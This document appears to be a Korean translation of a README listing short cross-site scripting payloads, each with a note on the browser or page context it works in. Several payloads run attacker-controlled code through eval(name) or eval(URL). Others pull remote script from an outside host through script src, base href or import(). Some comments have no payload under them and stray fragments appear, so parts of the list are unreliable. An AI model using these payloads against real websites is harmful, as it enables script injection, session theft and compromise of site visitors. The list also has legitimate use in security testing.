
다양한 컨텍스트에서 사용할 수 있는 작은 XSS Payload 모음입니다. https://tinyxss.terjanq.me
다양한 컨텍스트에서 사용할 수 있는 짧은 XSS 페이로드 모음입니다.
DEMO는 여기에서 확인하세요: https://tinyxss.terjanq.me
<!-- 싱크 이후 DOM에 상대 스크립트가 삽입되어야 함.
예: <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>
<!-- 반사형 XSS로만 작동 -->
<svg/onload=eval(name)>
<!-- URL을 제어할 수 있는 경우 -->
<svg/onload=eval(`'`+URL)>
<!-- name을 제어할 수 있지만 unsafe-eval이 활성화되지 않은 경우 -->
<svg/onload=location=name>
<!-- Chrome에서는 innerHTML 내부, DOM에 아직 삽입되지 않은 요소에서도 작동 -->
<svg><svg/onload=eval(name)>
<!-- window의 name을 제어할 수 있는 경우, 이 페이로드는 innerHTML 내부, DOM에 아직 삽입되지 않은 요소에서도 작동 -->
<audio/src/onerror=eval(name)>
<!-- URL을 제어할 수 있는 경우, 이 페이로드는 innerHTML 내부, DOM에 아직 삽입되지 않은 요소에서도 작동 -->
<!-- 일반적인 script 태그 -->
<script/src=//NJ.₨></script>
<!-- window의 name을 제어할 수 있는 경우 -->
<!-- URL을 제어할 수 있는 경우 -->
<!-- 페이지의 iframe 개수가 일정한 경우 -->
<!-- Firefox 전용 -->
<script/href=//NJ.₨ />">
<!-- 페이지의 iframe 개수가 무작위인 경우 -->
<!-- CSP에서 unsafe-inline이 비활성화되고 외부 스크립트가 허용된 경우 -->
</script>">
<!-- 인라인 스타일이 허용된 경우 -->
<style/onload=eval(name)>
<!-- 인라인 스타일이 허용되고 URL을 제어할 수 있는 경우 -->
<style/onload=eval(`'`+URL)>
<!-- 인라인 스타일이 차단된 경우 -->
<style/onerror=eval(name)>
<!-- 외부 스크립트를 import로 사용, innerHTML에서는 작동하지 않음 -->
<!-- PoC는 https와 Chrome에서만 작동합니다. NJ.₨가 Sec-Fetch-Dest 헤더를 확인하기 때문입니다. -->
<svg/onload=import(/\\NJ.₨/)>
<!-- 외부 스크립트를 import로 사용, 인라인 스타일이 허용된 경우 트리거됩니다.
<!-- PoC는 https와 Chrome에서만 작동합니다. NJ.₨가 Sec-Fetch-Dest 헤더를 확인하기 때문입니다. -->
<style/onload=import(/\\NJ.₨/)>
<!-- 외부 스크립트를 import로 사용 -->
<!-- PoC는 https와 Chrome에서만 작동합니다. NJ.₨가 Sec-Fetch-Dest 헤더를 확인하기 때문입니다. -->
사용 중단됨:
<!-- URL을 제어할 수 있는 경우, Safari 전용 -->
<!-- 인라인 스타일이 허용된 경우, Safari 전용 -->
<style/onload=write(URL)>